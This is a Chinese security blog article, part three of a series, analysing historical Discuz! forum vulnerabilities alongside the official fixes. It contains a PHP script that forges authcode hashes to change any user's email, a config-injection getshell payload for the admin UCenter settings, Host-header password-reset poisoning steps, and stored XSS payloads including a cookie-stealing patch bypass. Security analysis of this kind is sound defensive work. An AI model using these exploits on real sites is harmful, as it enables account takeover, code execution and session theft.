Discuz历史漏洞分析(三)

简介: Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。

2. 危害利用

修改任意用户邮箱,通过修改邮箱,我们可以使用忘记密码功能来重置任意用户的密码

注册新用户,申请修改邮箱,我们会收到一封邮件,验证地址为: http://192.168.1.128:86/home.php?mod=misc&ac=emailcheck&hash=cfachSZvnIe0KdIuOQA7oPbL9O8cHpTRrhUz%2FdDvoIbioTzYHRlHC0dv60hpE%2BSYIZLCoD2mSlbiQA5pj0ABanw6pGc

跟入 /source/include/misc/misc_emailcheck.php如下:

  1. <?php
  2. /**
  3. *      [Discuz!] (C)2001-2099 Comsenz Inc.
  4. *      This is NOT a freeware, use is subject to license terms
  5. *
  6. *      $Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $
  7. */
  8. if(!defined('IN_DISCUZ')) {
  9.   exit('Access Denied');
  10. }
  11. $uid = 0;
  12. $email = '';
  13. $_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];
  14. if($_GET['hash']) {
  15.   list($uid, $email, $time) = explode(" ", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));
  16.   $uid = intval($uid);
  17. }
  18. // exit($email);
  19. if($uid && isemail($email) && $time > TIMESTAMP - 86400) {
  20.   $member = getuserbyuid($uid);
  21.   $setarr = array('email'=>$email, 'emailstatus'=>'1');
  22.   if($_G['member']['freeze'] == 2) {
  23.       $setarr['freeze'] = 0;
  24.   }
  25.   loaducenter();
  26.   $ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);
  27.   if($ucresult == -8) {
  28.       showmessage('email_check_account_invalid', '', array(), array('return' => true));
  29.   } elseif($ucresult == -4) {
  30.       showmessage('profile_email_illegal', '', array(), array('return' => true));
  31.   } elseif($ucresult == -5) {
  32.       showmessage('profile_email_domain_illegal', '', array(), array('return' => true));
  33.   } elseif($ucresult == -6) {
  34.       showmessage('profile_email_duplicate', '', array(), array('return' => true));
  35.   }
  36.   if($_G['setting']['regverify'] == 1 && $member['groupid'] == 8) {
  37.       $membergroup = C::t('common_usergroup')->fetch_by_credits($member['credits']);
  38.       $setarr['groupid'] = $membergroup['groupid'];
  39.   }
  40.   updatecreditbyaction('realemail', $uid);
  41.   C::t('common_member')->update($uid, $setarr);
  42.   C::t('common_member_validate')->delete($uid);
  43.   dsetcookie('newemail', "", -1);
  44.   showmessage('email_check_sucess', 'home.php?mod=spacecp&ac=profile&op=password', array('email' => $email));
  45. } else {
  46.   showmessage('email_check_error', 'index.php');
  47. }
  48. ?>

当hash传入的时候,服务端会调用authcode函数解码获得用户uid,要修改成的email,时间戳。

list($uid,$email,$time)=explode(" ",authcode($_GET['hash'],'DECODE',md5(substr(md5($_G['config']['security']['authkey']),0,16))));

然后经过一次判断

if($uid&&isemail($email)&&$time>TIMESTAMP-86400){

这里没有任何额外的判断,在接下来的部分,也仅仅是对uid的有效性做了判断,而uid代表用户的id值,时从1开始自增的。

也就是说,只要authcode函数解开hash的值,久能成功验证并修改邮箱。

这里我们可以直接使用authcode函数来获得hash值。


  1. <?php
  2.           //Enter your code here, enjoy!
  3.   function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  4.       $ckey_length = 4;
  5.       $key = md5($key ? $key : UC_KEY);
  6.       $keya = md5(substr($key, 0, 16));
  7.       $keyb = md5(substr($key, 16, 16));
  8.       $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
  9.       $cryptkey = $keya.md5($keya.$keyc);
  10.       $key_length = strlen($cryptkey);
  11.       $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  12.       $string_length = strlen($string);
  13.       $result = '';
  14.       $box = range(0, 255);
  15.       $rndkey = array();
  16.       for($i = 0; $i <= 255; $i++) {
  17.           $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  18.       }
  19.       for($j = $i = 0; $i < 256; $i++) {
  20.           $j = ($j + $box[$i] + $rndkey[$i]) % 256;
  21.           $tmp = $box[$i];
  22.           $box[$i] = $box[$j];
  23.           $box[$j] = $tmp;
  24.       }
  25.       for($a = $j = $i = 0; $i < $string_length; $i++) {
  26.           $a = ($a + 1) % 256;
  27.           $j = ($j + $box[$a]) % 256;
  28.           $tmp = $box[$a];
  29.           $box[$a] = $box[$j];
  30.           $box[$j] = $tmp;
  31.           $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  32.       }
  33.       if($operation == 'DECODE') {
  34.           if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
  35.               return substr($result, 26);
  36.           } else {
  37.               return'';
  38.           }
  39.       } else {
  40.           return $keyc.str_replace('=', '', base64_encode($result));
  41.       }
  42.   }
  43.   echo authcode("3 test@success.com 1503556905", 'ENCODE', md5(substr(md5("5e684ceqNxuCvmoK"), 0, 16)));
  44.   ```

3. 修复建议

官方修复:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/bb600b8dd67a118f15255d24e6e89bd94a9bca8a

将/upload/install/index.php中:

$authkey=substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp,0,6)),8,6).random(10);

修改为:

$authkey=md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp,0,8)).random(18);

可以看到,官方将不可被获知的部分加长到32位,random位数加到18位,这样一来爆破的代价将会非常大,可以被认为不可爆破。

4. reference

1. https://lorexxar.cn/2017/08/31/dz-authkey/

2. https://www.seebug.org/vuldb/ssvid-96371


四、Discuz 后台任意代码执行漏洞

0. 漏洞分析

文件 upload/source/admincp/admincp_setting.php中2535行左右:

  1. if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {
  2.        require_once './config/config_ucenter.php';

  3.        $ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : $settingnew['uc']['dbpass'];
  4.        $settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);

在后台对UCenter的密码进行更新的时候,没有对输入的密码进行检查,直接写入到配置文件,导致我们可以闭合前面的单引号从而达到getshell的目的。

$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):$settingnew['uc']['dbpass'];

1. 利用过程

在管理员输入UCenter的密码时,对于用户的输入没有过滤,导致了输入的数据直接写入文件中,利用步骤如下:

  1. 以管理员身份登录后台
  2. 设置一个可以远程访问的mysql,密码为: 123');phpinfo();//
  3. 修改UCenter 数据库密码为上述密码
  4. 更新后即Getshell

2. 复现过程

a. 设置一个可以远程访问的mysql。

grant all on*.*to admin@'%'identifiedby'123');

php info();

//' with grant option;

b. 登陆Discuz后台,找到 “站长 -> UCenter设置” ,修改UCenter数据库服务器地址和用户名、密码,如图:

41.png


c. 提交后即可getshell


42.png



3. 修复建议

官方修复:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/8446bd9e897bb19672389cc4aed42716ccd0f537

将代码:

$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):$settingnew['uc']['dbpass'];

修改为

$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):addslashes($settingnew['uc']['dbpass']);

即:利用 addslashes()对uc和dbpass的值中的双引号前添加反斜杠。

4. reference

1. https://www.seebug.org/vuldb/ssvid-96371


五、Discuz!多个版本HTTP host头部攻击

0. 漏洞分析

一般web程序程序想知道网站域名很不容易,如果用一个固定的URI来作为域名会有各种麻烦。开发人员一般是依赖HTTP Host header(比如在php里是 _SERVER[“HTTP_HOST”],jsp中 request.getServerName()),而这个header很多情况下是靠不住的。使用HTTP代理工具,如BurpSuite篡改HTTP报文头部中HOST字段时,加红框中变量即客户端提交的HOST值,该值可被注入恶意代码

1. 利用过程

测试环境:192.168.1.128:86 (Discuz! X3.3)

修改hosts 向其中添加 192.168.1.128www.myc.com 条目, ipconfig/flushdns 刷新DNS缓存,

此时浏览器访问 www.myc.com:86即可访问目标网站 192.168.1.128:86

点击找回密码,输入攻击目标的email和用户名,提交,受害人邮箱即可收到邮件:

43.png


找回密码链接为:

http://www.myc.com:86/member.php?mod=getpasswd&uid=2&id=cLOnmA&sign=1efd09d8bbbd0483

当然可以伪造得更隐秘,对于部分邮箱系统还可以配合XSS。

2. 修复方案

首次安装系统时,取得HOST值并保存为常量,不要使用类似jsp中request.getServerName( )方法引用客户端输入的hostname值。拼接生成URL时引用静态变量定义的服务器域名,或者使用相对路径生成URL。

3. reference

1. http://www.anquan.us/static/bugs/wooyun-2014-079988.html


六、Discuz 20150609 版本存储XSS

0. 漏洞分析

Discuz 在用户评论处设置了帖子管理员编辑评论的功能,由于前端JS代码处理不当导致了经过恶意构造的评论内容在经过交互后形成XSS。

1. 利用过程

首先,在评论处提交评论内容 [email=2"onmouseover="alert(2)]2[/email]

由于服务器对引号等有过滤,所以提交后,查看源码会发现引号已经被实体编码了。

[email=2&quot;onmouseover=&quot;alert(2)]2[/email]</td></tr>

对于普通用户提交的评论,管理员或者版主都有权利对其发表的评论进行管理。

当管理或版主对用户的评论点击管理时,前端 JS 代码就开始处理,弹出一个编辑框供管理或版主操作。经过dz的正则变换,str会变成 <a href="mailto:2"onmouseover="alert(2)"target="_blank">2</a>

最终 bbcode2html() 函数会返回经过转换后的 textobj.value,值为: <a href="mailto:2"onmouseover="alert(2)"target="_blank">2</a>44.png

当管理员或者版主对其进行交互时就会触发 alert(2)

2. 补丁绕过

Discuz版本(2015-06-09)中修复了上述触发点,但是还可以绕过。

新的payload为

[email]2"onmouseover="alert(document.cookie)[/email]

45.png

结果

46.png


3. reference

1. http://blog.knownsec.com/2015/12/discuz-20150609-xss-bug-fixes-bypass-report/

七 Discuz代码执行流程

首先要熟悉DZ比较常用的几个目录:

/source/是程序模板功能函数,论坛所有的功能实现都要从主文件里面包含调用这里的模块来执行相应的操作

/data/目录是附件数据、数据库与文件缓存

/api目录是第三方接口,包含了论坛的第三方接口文件

/config为全局核心配置文件

平时审计的时候也非常注重这几个地方

不像现在大多数CMS系统使用流行开源框架在 application里面来写 ControllerController里面多个 function,Discuz的服务端功能是以模块文件的形式来加载的,也就是说一个方法可能就是一个文件,要执行的时候去调用这个文件去执行就ok了,在根目录下放着所有的主文件,外部基本上都是访问这里的主文件,在主文件里面去调用执行指定的接口模块,大致流程是这样(以spacecp_profile为例):

47.png


END. ALL

本文作者:cldnite

声明:本文为 脚本之家专栏作者 投稿,未经允许请勿转载。

相关文章
|
SQL Web App开发 安全
Discuz历史漏洞分析(一)
Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。
Discuz历史漏洞分析(一)
|
存储 安全 API
Joomla 4.2.8 安全和漏洞修复发布
oomla 4.2.8 现在可用。这是 Joomla! 4.x 系列的安全版本!它解决了 Web 服务 API 中的一个严重安全漏洞。北京六翼信息技术有限公司强烈建议您立即更新您的网站。
Joomla 4.2.8 安全和漏洞修复发布
|
安全 PHP 缓存
网站漏洞修复之Discuz X3.4远程代码执行漏洞
近期在对discuz x3.4进行全面的网站渗透测试的时候,发现discuz多国语言版存在远程代码执行漏洞,该漏洞可导致论坛被直接上传webshell,直接远程获取管理员权限,linux服务器可以直接执行系统命令,危害性较大,关于该discuz漏洞的详情,我们来详细的分析看下。
5263 0
|
SQL 安全 算法
Discuz历史漏洞分析(二)
Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。
Discuz历史漏洞分析(二)
|
安全 Linux PHP
PrestaShop 网站漏洞详情与漏洞修复办法
PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本,经历了多次的升级,系统使用的人也越来越多,国内使用该系统的外贸公司也很多,PrestaShop扩展性较高,模板也多,多种货币自由切换,并支持信用卡以及paypal支付,是外贸网站的首选。就在最近几天,PrestaShop被爆出有远程代码注入漏洞,该漏洞影响范围较光,危害较大,可以上传webshell到网站根目录下。
288 0
PrestaShop 网站漏洞详情与漏洞修复办法
|
安全 前端开发 Linux
Discuz3.4漏洞详情分析
Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆。关于该网站漏洞的细节我们来详细的分析看一下:
667 0
Discuz3.4漏洞详情分析
|
SQL 安全 Linux
discuz网站漏洞修复X3.2 X3.4版本 SQL注入修复网站漏洞
2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞产生的原因首先:php环境的版本大约PHP5.2,dizcuzX3.2 X3.4版本,服务器环境是windows 2008 2003 2012系统,linux centos不受此漏洞的影响。
611 0
discuz网站漏洞修复X3.2 X3.4版本 SQL注入修复网站漏洞
|
安全 数据库 数据安全/隐私保护
WordPress代码最新网站漏洞修复探讨
2020年,刚刚开始WordPress博客系统被网站安全检测出有插件绕过漏洞,该插件的开发公司,已升级了该插件并发布1.7版本,对以前爆出的漏洞进行了修补,该企业网站漏洞造成的原因是未经许可身份认证的普通用户给以了系统管理员权限。黑客能够以网站管理员的身份进行登陆,并可以将wp企业网站的全部数据表信息恢复为以前的模式,进而上传webshell企业网站木马代码来进行篡改企业网站。现阶段受危害的版本包含最新的WP系统。
217 0
WordPress代码最新网站漏洞修复探讨
|
安全 JavaScript PHP
如何对ecshop网站漏洞进行修复防止被入侵
ecshop目前最新版本为4.0,是国内开源的一套商城系统,很多外贸公司,以及电商平台都在使用,正因为使用的人数较多,很多攻击者都在挖掘该网站的漏洞,就在最近ecshop被爆出高危漏洞,该漏洞利用跨站伪造函数,来对网站数据库进行攻击。
425 0
如何对ecshop网站漏洞进行修复防止被入侵
|
SQL 安全 JavaScript
ecshop网站漏洞如何修复针对于外贸网站的漏洞修复
由于8月份的ECSHOP通杀漏洞被国内安全厂商爆出后,众多使用ecshop程序源码的用户大面积的受到了网站被篡改,最明显的就是外贸站点被跳转到一些仿冒的网站上去,导致在谷歌的用户订单量迅速下降,从百度,谷歌,360,以及搜狗等等进入到网站的用户直接被跳转到了一些赌bo网站上去,而且网站在各大引擎的收录的快照中的标题被篡改城一些与网站不相关的内容,如图:
151 0
ecshop网站漏洞如何修复针对于外贸网站的漏洞修复

热门文章

最新文章